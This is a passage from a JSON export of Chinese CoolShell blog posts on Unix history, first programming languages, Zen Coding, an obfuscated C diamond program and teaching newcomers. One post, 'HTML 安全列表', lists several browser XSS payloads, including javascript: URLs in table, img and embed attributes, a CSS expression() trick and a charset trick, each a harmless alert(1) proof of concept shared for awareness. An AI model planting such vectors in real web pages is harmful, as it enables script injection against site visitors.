(1993)\n     |                     |\n     |                   Net/2\n     |                     |\n     |               4.4BSD-Lite (by 1995)\n     |     ________________|____________________________________\n     |     |       |          |         |          |            |\n     |   SunOS   Ultrix   NetBSD    OSF/1   NeXTSTEP   Mac OS X\n     |   (Sun)   (DEC)   (Various)  (DEC)    (NeXT)    (Apple)\n     |                   (FreeBSD)\n     |\n     |\n     |--Hybrids----\\\n                   |\n                Linux (Various)\n                   |\n                   |____________________________________________\n                   |    |      |          |              |      |\n                   | RedHat  Debian  Mandrake   Slackware    S.u.S.E.\n                   |                          (Walnut Creek)\n                   |\n                   |_____________________________________________\n                       |        |           |          |        |\n                    MkLinux  LinuxPPC  TurboLinux  OpenLinux  CorelLinux\n                    (Apple)                        (Caldera)   (Corel)\n```\n\n点些查看《[Linux 分发包族谱](https://coolshell.cn/articles/85.html)》\n\n\n### Unix的特点\n\n\n现在的文献中提到Unix基本上是说，由Ken Thompson和Dennis Ritchie共同开发的。而通过历史我们也能发现，Unix的主要是由Ken Thompson写下的。但在学术界，Dennis Ritchie的名字往往被排在了Ken Thompson前面的。这就是因为，Dennis Ritchie不但发明了C语言，而且当时他设计Unix操作系统的设计思想，影响了整个世界，直到今天。\n\n\n当时，他们开发UNIX，没有正式立项，是Ken Thompson和Dennis Ritchie等少数几个人偷偷干的，如果一切都要从头从新设计，那几乎是不可能的。所以，Unix吸取与借鉴了Multics的经验，如内核，进程，层次式目录，面向流的I/O，把设备当作文件，……等等。但是Unix在继承中又有创新，比如Unix采用一种无格式的文件结构，文件由字节串加\\0组成。这带来两大好处：一是在说明文件时不必加进许多无关的“填充物”，二是任何程序的输出可直接用作其他任何程序的输入，不必经过转换。后面这一点叫做“管道”(piping)，这就是Unix首创的。此外，像把设备当作文件，从而简化了设备管理这一操作系统设计中的难题，虽然不是UNIX的发明，但是实现上它采用了一些新方法，比Multics更高明一些。\n\n\n下面是Unix的特点：（30多年过去了，这些东西早已变成经典）\n\n\n* **Everything (including hardware) is a file**所有的事物（甚至硬件本身）都是一个的文件。\n* **Configuration data stored in text**以文本形式储存配置数据。\n* **Small, single-purpose program**程序尽量朝向小而单一的目标设计\n* **Avoid captive user interfaces**尽量避免令人困惑的用户接口\n* **Ability to chain program together to perform complex tasks**将几个程序连结起来，处理大而复杂的工作。\n\n\n### Unix的影响和哲学\n\n\nUnix是第三次工业革命中计算机软件领域最具代表性的产物。在这近40年中，由Unix造成的影响是最有深远意义的。就我看来，Unix为软件领域带来了至少以下有积极的东西，由这些东西所引发的直接或间接的事物更是举不胜数。\n\n\n1. 软件开发的若干哲学和思想。\n2. 全民参与推动软件，代码共享的模式。\n3. 开启了黑客文化和开源项目。\n4. 免费和商业的完美结合的Linux。\n5. C语言，而后发展的C++，Java等等类C的语言和脚本。（参看《[C语言的演变史](https://coolshell.cn/articles/1984.html)》）\n6. TCP/IP，其的Socket编程已成为今天通用的网络编程主流。（参看《[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)》）\n\n\n不能不说，AT&T虽然发展了Unix，但今天Unix的混乱的局面也和AT&T 有着直接原因。但反过来说，如果没有AT&T的反面教材，今天的GNU/Linux很有可能也不会出现。AT&T究竟是限制了Unix的发展，还是以反面示例促进了Unix社区，已不好评说。今天，软件是商业化好还是开源好的争论还在继续，纵观这几十年来Unix的历史，Linux的划时代地出现。相信你会得出自己的结论。不管怎么样，Unix的经历对计算机领域贡献的不单单是技术，他给我们提供了丰富而生动的教材。特别是Unix引发的哲学，让今天的我们依然受益不浅。\n\n\n说到Unix为我们所带来的软件开发的哲学，我必需要说一说。Unix遵循的原则是KISS（Keep it simple, stupid）。在<http://en.wikipedia.org/wiki/Unix_philosophy> 上有很多的基本上大同小异的Unix哲学，都是很经典的。\n\n\nDoug McIlroy 是认为UNIX的哲学是这样的：三条哲学，简明扼要，就是这三条哲学贯穿着整个Unix世界。尤其是第一条“do one thing and do it well”真是相当精彩！\n\n\n* **Write programs that do one thing and do it well.**\n* **Write programs to work together.**\n* **Write programs to handle text streams, because that is a universal interface.**\n\n\n只要是Unix的程序员，他们会比别的程序员在任何时候都会不停地强调着这三条哲学。\n\n\n而《*The Art of Unix Programming*》总结了下面这些哲学，都是至理名言啊。\n\n\n* Rule of Modularity: Write simple parts connected by clean interfaces.\n* Rule of Clarity: Clarity is better than cleverness.\n* Rule of Composition: Design programs to be connected to other programs.\n* Rule of Separation: Separate policy from mechanism; separate interfaces from engines.\n* Rule of Simplicity: Design for simplicity; add complexity only where you must.\n* Rule of Parsimony: Write a big program only when it is clear by demonstration that nothing else will do.\n* Rule of Transparency: Design for visibility to make inspection and debugging easier.\n* Rule of Robustness: Robustness is the child of transparency and simplicity.\n* Rule of Representation: Fold knowledge into data so program logic can be stupid and robust.\n* Rule of Least Surprise: In interface design, always do the least surprising thing.\n* Rule of Silence: When a program has nothing surprising to say, it should say nothing.\n* Rule of Repair: When you must fail, fail noisily and as soon as possible.\n* Rule of Economy: Programmer time is expensive; conserve it in preference to machine time.\n* Rule of Generation: Avoid hand-hacking; write programs to write programs when you can.\n* Rule of Optimization: Prototype before polishing. Get it working before you optimize it.\n* Rule of Diversity: Distrust all claims for “one true way”.\n* Rule of Extensibility: Design for the future, because it will be here sooner than you think.\n\n\nX Windows 的设计者 Mike Gancarz 给出了下面九条哲学思想\n\n\n1. *Small is beautiful.*\n2. *Make each program do one thing well.*\n3. *Build a prototype as soon as possible.*\n4. *Choose portability over efficiency.*\n5. *Store data in flat text files.*\n6. *Use software leverage to your advantage.*\n7. *Use shell scripts to increase leverage and portability.*\n8. *Avoid captive user interfaces.*\n9. *Make every program a filter.*\n\n\n在今天，这种思想依然被传承着，在影响着世界上各个角落的每一个程序员。\n\n\n### Unix痛恨者手册\n\n\n这里还需要值得一提的是一本叫《The Unix-Haters Handbook》，中文译做《Unix痛恨者手册》。可以在这里下载：<http://research.microsoft.com/~daniel/uhh-download.html>。其中以调侃的语气声讨了Unix的种种不是。虽然这是十年前的一本书了，但还是值得一读。这本书指出了许多Unix的设计错误，指出了种种看起来很合理的设计走向了荒谬，还这样调侃了C语言——“如果说C语言给足了让你上吊的绳子，那么，C++在给了你足够的绳子把你的邻居全部捆起来之后，还给了你足够的绳子让你为一艘小帆船装上帆，最后你还有足够的绳子把自己吊死在帆船的桅杆上”。呵呵，相当的尖酸刻薄吧。里面有一句对操作系统的评价是这样的：“The fundamental difference between Unix and the Macintosh operating system is that **Unix was designed to please programmers**, whereas the Mac was designed to please users. (Windows, on the other hand, was designed to please accountants.”（Windows设计给会计人员？！连计算机用户都不是了，呵呵）\n\n\n不过，我可以感觉得到这本书的作者在书中对Unix的感情是比较复杂的，爱恨交加，在书的最后有这样一句话“would anyone have spent this much time and effort writing about how much they hated Unix if they didn’t secretly love it? I’ll leave that to the readers to judge, but in the end, it really doesn’t matter: If this book doesn’t kill Unix, nothing will”。是的，如果Unix能够存活这么长的时间，那么，不会有什么东西可以把他消灭了。\n\n\n从《Unix痛恨者手册》这本书，再加上Unix的历史，我们可以感到Unix的经历的风风雨雨，在Unix上面出现有种种教训，近40年的历程，Unix历经磨难，几近夭折，一路走来的确很不容易，让人由衷感叹。今天的Unix，今天的软件工业和以前相比已是不可同日而语。很大程度上，这些都要归功于这个充满苍桑的Unix。\n\n\n### 后记\n\n\n在中国我们开始学习计算机的时候，我们被Microsoft所创造的文化所笼罩里。就在Unix出现革命性的转变，在Unix影响计算机世界文化的那几年里，科班出生专业开发人员学习的是MS-DOS和微软的文化，我们犹如一个井底之蛙一样，对外面的翻天覆地的变化无动于衷。微软创造的文化在我们这里尤其地根深蒂固，我们几乎忘记了另外一边的Unix（参看《[Unix 40年：Unix年鉴](https://coolshell.cn/articles/1032.html)》、《[Unix 40年：昨天，今天和明天](https://coolshell.cn/articles/1023.html)》）。\n\n\n在那充满激情的Unix的岁月里，大伙为了科研目的或个人兴趣在Unix上进行各种开发，并且不计较金钱利益，将这些源码公开，互相共享。在那里，开发和自由成为主题，正因为如此，当今的世界才如此丰富多采。在40年Unix文化和技术积淀的里面，蕴涵着比较纯正的计算机文化和思想。\n\n\n纵观整个Unix的历史过程中，许许多多的程序员、工程师前辈们在Unix中所摸爬滚打，他们的辛勤地、他们呕心沥血地跟随Unix，努力建立一个繁荣的计算机世界的文明。Unix不是一个简简单单的操作系统。有人说，Unix是程序员设计给程序员的，一点没错。Unix的近40年历史造就了它的博大精深，它给程序员们带来的绝不仅仅只是技术上的知识。它的失误，它的无奈，它的精神，它的荣耀，它从技术和思想上都启迪着我们。对于程序员来说，学习Unix就等同于向前辈程序学习。无论你是什么样的程序员，你都应该了解Unix，这是开发人员的根，前面的开发者造就了它，而它又在引领后面的开发人员，它是前辈程序员们交给我们的一份礼物，一个接力棒，它是开发人员赖以生存的土壤，是上一辈程序员留给我们这一代程序员开启未来的钥匙。Unix就像一个程序员教父一样，理当受到我们的尊敬和崇拜。\n\n\n### 参考资料\n\n\n* Peter H. Salus 的《*A Quarter Century of UNIX*》，这被认为是UNIX的标准历史。\n* Eric S. Raymond 的《*The Art of Unix Programming*》\n* <http://www.wikipedia.org/> 维基百科\n* <http://www.computerhope.com/history/> Computer History\n* <http://www.lotsir.com/Blog/article.asp?id=494> Lotsir’s Blog — 《*Unix&Linux**历史重温*》\n* <http://www.aka.org.cn/Docs/hacker-history.html> 《*黑客文化简史*》\n* <http://www.simson.net/ref/ugh.pdf> 《*The UNIX-HATERS Handbook*》\n* <http://free-electrons.com/doc/free_software/img0.html> 《*GNU/Linux Free Software*》幻灯片\n* <http://cm.bell-labs.com/cm/cs/who/dmr/hist.html> *Dennis M. Ritchie* 《*The Evolution of the Unix Time-sharing System*》\n\n\n(转载时请注明作者和出处。未经许可，请勿用于商业用途)\n---------------------------\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [Unix传奇(下篇)](https://coolshell.cn/articles/2324.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-10 新手该学哪门编程语言.md",
    "content": "---\nlayout: post\ntitle: 新手该学哪门编程语言\ndate: 2010/5/10/ 0:46:42\nupdated: 2010/5/10/ 0:46:42\nstatus: publish\npublished: true\ntype: post\n---\n\n在某个论坛上看到有人在问——“Which programming language should I learn first？”，看到了下面的这个回答，有点意思。\n\n\n\n> Depends.\n> \n> \n> * To program in an expressive and powerful language: **Python**\n> * To get a website up quickly: **PHP**\n> * To mingle with programmers who call themselves “rockstars”: **Ruby**.\n> * To really learn to program: **C**.\n> * To achieve enlightenment: **Scheme**.\n> * To feel depressed: **SQL**\n> * To drop a chromosome: **Microsoft Visual Basic**\n> * To get a guaranteed, mediocre, but well paying job writing financial applications in a cubicle under fluorescent lights: **Java**.\n> * To do the same thing with certifications and letters after your name: **C#**\n> * To achieve a magical sense of childlike wonder that you have a hard time differentiating from megalomania: **Objective C**\n> \n> \n> I could go on… but I’m not feeling hateful enough today.\n> \n> \n\n\n翻译如下：\n\n\n\n\n> 看你的需要了。\n> \n> \n> * 如果你想找一门表达力和功能都很强的语言：Python\n> * 如果你想更快速地开发WEB程序：PHP\n> * 如果你想和那些“摇滚明星”的程序员为伍：Ruby\n> * 如果你想学真正的编程：C\n> * 如果你想顿入空门的话：Scheme\n> * 如果你想压抑的话：SQL\n> * 如果你想基因突变成为非人类的话：Microsoft Visual Basic\n> * 如果你想要得到一个有保证的，但普普通通的，收入还不错的，在一间小卧室的荧光灯下写一些金融应用的工作：Java\n> * 如果你想在你的名字后放上一些认证和证书：C#\n> * 如果你想得到一些很难在自大狂和孩子气中区分的那种魔幻般的感觉：Objective C\n> \n> \n> 我还可以再写去，因为今天我还没有足够的愤怒。\n> \n> \n\n\n跟着这个思路，我也补充几条吧，\n\n\n* 如果你想寻找在被虐中被大众称道的感觉：C++\n* 如果你想整天都在说Fxxk的脏话：JavaScript ([哪种程序员嘴最脏](https://coolshell.cn/articles/1850.html))\n* 如果你想成为无所不能的BS一切的神：汇编\n* 如果你想成为一个像春哥或犀利哥一样真正的男人：Brainfuck （[BT雷人的程序语言](https://coolshell.cn/articles/1142.html)）\n\n\n呵呵，欢迎留下你的回答！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [新手该学哪门编程语言](https://coolshell.cn/articles/2402.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-11 写HTML和CSS的新方法.md",
    "content": "---\nlayout: post\ntitle: 写HTML和CSS的新方法\ndate: 2010/5/11/ 0:18:19\nupdated: 2010/5/11/ 0:18:19\nstatus: publish\npublished: true\ntype: post\n---\n\n\n**[Zen Coding](http://code.google.com/p/zen-coding/)** 一个用来简化编写 HTML，XML， XSL （或是其它一些诸如此类格式的编辑器）。其主要是用一种缩写方式的语法来书写大量重复和无味的HTML，很像CSS语法。下面是一个例子：\n\n```\ndiv#page>div.logo+ul#navigation>li*5>a\n```\n\n展开后会成为下面这个样子：\n\n```\n\n<div id=\"page\">\n        <div></div>\n        <ul id=\"navigation\">\n                <li><a href=\"\"></a></li>\n                <li><a href=\"\"></a></li>\n                <li><a href=\"\"></a></li>\n                <li><a href=\"\"></a></li>\n                <li><a href=\"\"></a></li>\n        </ul>\n</div>\n\n```\n\n可以看出来，#代表ID，>代表下一层。\n\n如果你写下：\n\n```\nselect>option#item-$*3\n```\n\n那么将会得到：\n\n```\n\n\n<select>\n\t<option id=\"item-1\"></option>\n\t<option id=\"item-2\"></option>\n\t<option id=\"item-3\"></option>\n</select>\n\n```\n\n看上去很不错吧。目前，其支持如下的编辑器：\n\n \n\n\n* [AptanaHowToEn](http://code.google.com/p/zen-coding/wiki/AptanaHowToEn)\n* **TextMate** (Mac). Available in two flavors: basic snippets (Zen HTML and Zen CSS) and full-featured plugin (ZenCoding for TextMate). Bundles > Zen Coding menu item\n* **Coda** (Mac) — [external download](http://github.com/sergeche/tea-for-coda/downloads), via [TEA for Coda](http://onecrayon.com/tea/). Plug-ins > TEA for Coda > Zen Coding menu item\n* **Espresso** (Mac) — [external download](http://github.com/sergeche/tea-for-espresso/downloads), via [TEA for Espresso](http://onecrayon.com/tea/). Zen Coding is bundled with Espresso by default, but you should upgrade ZC to latest version. Actions > HTML menu item\n* **Komodo Edit/IDE** (crossplatform) — [external download](http://community.activestate.com/xpi/zen-coding). Tools > Zen Coding menu item\n* **Notepad++** (Windows). Zen Coding menu item\n* **PSPad** (Windows). Scripts > Zen Coding menu item\n* **<textarea>** (browser-based). See [online demo](http://zen-coding.ru/textarea/).\n* **editArea** (browser-based). See [online demo](http://zen-coding.ru/demo/).\n\n\n\n还有下面这些第三方的插件：\n\n\n* **Dreamweaver** (Windows, Mac)\n* **Sublime Text** (Windows)\n* **UltraEdit** (Windows)\n* **TopStyle** (Windows)\n* **GEdit** (crossplatform) — [Franck Marcia’s plugin](http://github.com/fmarcia/zen-coding-gedit), [Mike Crittenden’s plugin](http://github.com/mikecrittenden/zen-coding-gedit)\n* **BBEdit/TextWrangler** (Mac) — [external download](http://www.angelwatt.com/coding/zen-coding_bbedit.php)\n* **Visual Studio** (Windows) — [external download](http://zencoding.codeplex.com/)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/3063.html)[40个很不错的CSS技术](https://coolshell.cn/articles/3063.html)\nThe post [写HTML和CSS的新方法](https://coolshell.cn/articles/2406.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-12 HTML 安全列表.md",
    "content": "---\nlayout: post\ntitle: HTML 安全列表\ndate: 2010/5/12/ 0:57:38\nupdated: 2010/5/12/ 0:57:38\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网站罗列了，几乎所有的关于HTML 5 在各种主流浏览器上的安全问题，这些安全问题很有可能将会是黑客攻击你的网上的敲门砖，他们几乎都和Javascript都有关系，你就要好好注意了。\n\n\n[**http://heideri.ch/jso/**](http://heideri.ch/jso/)\n\n\n下面罗列几个：\n\n\n**1）<table background=”javascript:alert(1)”>**\n\n\nIE6，7，8，9，和Opera 8.x, 9.x, 10.x 都支持这样的语法。\n\n\n**2）<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾**\n\n\n这个问题会存在于所有的Firefox版本中，可以让用户进行XSS（跨站脚本）攻击\n\n\n**3）<script>&amp;#x61;l&amp;#x65;rt&amp;#40;1)</script>**\n\n\n在<script>和<style>的TAG间，根据标据，其可以使用这样的字符来运行脚本。这在所有版本的Firefox, Opera, 和 Chrome中都会有问题。\n\n\n\n**4）({set/\\*\\*/$($){\\_/\\*\\*/setter=$,\\_=1}}).$=alert**\n\n\n上面这个是Firefox的一个[语法](https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Working_with_Objects#Defining_Getters_and_Setters)，也会产生XSS攻击。\n\n\n**5）<div style=”font-family:foo}x=expression(write(1));”>XXX</div>**\n\n\n自从IE5.5后，直到IE9，IE就可以支持上面这样的语法。\n\n\n**6）src中是可以运行脚本的，如：**\n\n\n<embed src=”javascript:alert(1)”>  \n\n<img src=”javascript:alert(1)”>  \n\n<image src=”javascript:alert(1)”>  \n\n<script src=”javascript:alert(1)”>\n\n\n又一个XSS攻击，几乎所有的浏览器都支持这样的方式，如：Firefox全部版本，Chrome 4.x/5.x，Opera 8.x/9.x/10.0，IE 6.0/7.0和Safari 3.x/4.x\n\n\n\n还有很多，大家自己去看吧，这个网站经常更新的。总体感觉下来，IE和Firefox的安全问题都在伯仲之间，Safari貌似是问题最少的。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\nThe post [HTML 安全列表](https://coolshell.cn/articles/2416.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-13 老手是这样教新手编程的.md",
    "content": "---\nlayout: post\ntitle: 老手是这样教新手编程的\ndate: 2010/5/13/ 0:43:19\nupdated: 2010/5/13/ 0:43:19\nstatus: publish\npublished: true\ntype: post\n---\n\ncomp.lang.c全球最大的C语言新闻组，其Google的链接是：<http://groups.google.com/group/comp.lang.c/> 可惜被GFW了。在comp.lang.c新闻组，有一个日本网友发了个[贴子](http://groups.google.com/group/comp.lang.c/browse_thread/thread/9f3faa6af28577f2/e105e5d339edec01?hide_quotes=no)，说他正在学习一个在线的C语言课程，要完成一个作业，用程序输出如下的结果，而他的老师在美国，因为时差问题，他无法和他联系，所以只有上这里来寻求帮助。\n\n\n\n```\n    *\n   ***\n  *****\n *******\n*********\n*********\n *******\n  *****\n   ***\n    *\n```\n\n很明显，在comp.lang.c上发这种贴子是一定会被拍的很惨的，这样的事，以前在SUN的论坛上也发生过，[详情请看这里](https://coolshell.cn/articles/1391.html)。还有一个去软件[官网上要一个盗版序列号](https://coolshell.cn/articles/1693.html)的。果不然后，我看到了这样的一个[回贴](http://groups.google.com/group/comp.lang.c/msg/e105e5d339edec01)。提供这样的一段代码：\n\n\n\n\n```\n\n#define      M 002354l\n#define     A   000644l\n#define    G     000132l\n#define     I   000322l\n#define      C 000374l\n#define                a ;\n#define               b for\n#define              c    ++\n#define             d       %\n#define            e       int\n#define           f           ,\n#define          g             -\n#define         h             011\n#define        i                 =\n#define       j                   {\n#define      k                     )\n#define     l                    '\\n'\n#define    m                      main\n#define    n                         <\n#define     o                       }\n#define      p                     >\n#define       q                  &&\n#define        r                 (\n#define         s              ||\n#define          t             ?\n#define           u     putchar\n#define            v      void\n#define             w     '*'\n#define              x     :\n#define               y ' '\n#define                _ /\n#define           C_O_O_L return\n                   e u r e k a\n                         e\n                        m r\n                       v k j\n                      j j j j\n                     j j j j j\n                    j j j j j j\n                   j j j j j j j\n                  j e z a b r z i\n                 M _ A _ G _ I _ C\n                a z n G a u r z d h\n               + z _ h p M _ A q z d\n              h + z _ h n M _ G q z _\n             h n z d h + M _ I q z _ h\n            p z d h g M _ C t w x y k f\n           z d h g h + 1 s u r l k f z c\n          k a u r l k a j j j j j j j j j\n         j j C_O_O_L M _ A _ G _ I _ C a o\n        o o o o o o o o o o o o o o o o o o\n                      o o o o\n                      o o o o\n                      o o o o\n                      o o o o\n\n```\n\n这段程序是可以编译通过的，没有任何问题，而且还是可以得到正确的结果的。关于这样的程序，你可以参考本站的这篇文章《[6个变态的C语言Hello World程序](https://coolshell.cn/articles/914.html \"6个变态的C语言Hello World程序\")》，而另一篇文章教你[如何搞乱你的C代码](https://coolshell.cn/articles/933.html)。呵呵。当然，你并不需要把在你的VC或是GCC下编译这段代码，现在什么都有在线了，编译器当然也在线了，这里是一篇关于[在线编译器的文章](https://coolshell.cn/articles/1310.html)，甚至一个[在线的IDE](https://coolshell.cn/articles/1883.html)（连这个网站的CTO都在本站[留言](https://coolshell.cn/articles/1883.html#comment-2234)了），上去编译一下你就可以看到[结果](http://codepad.org/Rh6icaWU)了。\n\n\n最后，不恶搞了，在comp.lang.c的这个贴子中看到了很多不错的“如何教新手编程”的观点，下面罗列一些：\n\n\n1）你把你自认为最好程序贴出来，我会帮你看的，但我是不会帮你写的。\n\n\n2）要解决这个问题，你需要先观察输出，然后找到其规律，算法总是去描述一些有规律的事情。关于你的这个程序，很明显，你可以分成两个部分，一个正三角，一个倒三角，每一行的星号都是连续的奇数，1，3，5，7，9，而前面的空格又是顺序的自然数：4，3，2，1，你看这样的规律用程序来干不是正合适吗？\n\n\n从这两个例子，我们可以看到，老手应该如何去教新手，那就是，a）让其独立思考，b）步步为营的引导，c）教一种方法而不是直接给答案。希望与大家共勉。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [老手是这样教新手编程的](https://coolshell.cn/articles/2420.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-5-14 十条不错的编程观点.md",
    "content": "---\nlayout: post\ntitle: 十条不错的编程观点\ndate: 2010/5/14/ 0:50:24\nupdated: 2010/5/14/ 0:50:24\nstatus: publish\npublished: true\ntype: post\n---\n\n在[Stack Overflow](http://stackoverflow.com/)上有这样的一个贴子《[What’s your most controversial programming opinion?](http://stackoverflow.com/questions/406760/whats-your-most-controversial-programming-opinion)》，翻译成中文就是“你认为最有争议的编程观点是什么？”，不过，在400多个主回贴，以及千把个子回贴中，好像并不是很有争议，而是令人相当的茅塞顿开，下面罗列一些，并通过我自己的经历和理解发挥了一些，希望对你有帮助。\n\n\n**1） The only “best practice” you should be using all the time is “Use Your Brain”.**\n\n\n唯一的“Best Practice”并不是使用各种各样被前人总结过的各种设计方法、模式，框架，那些著名的方法、模式、框架只代码赞同他们的人多，并不代表他们适合你，你应该更多的去使用你的大脑，独立地思考那些方法、模式、框架出现的原因和其背后的想法和思想，那才是“best practice”。事实上来说，那些所谓的“Best Practice”只不过是限制那些[糟糕的程序员们](https://coolshell.cn/articles/1081.html)的破坏力。\n\n\n**2）Programmers who don’t code in their spare time for fun will never become as good as those that 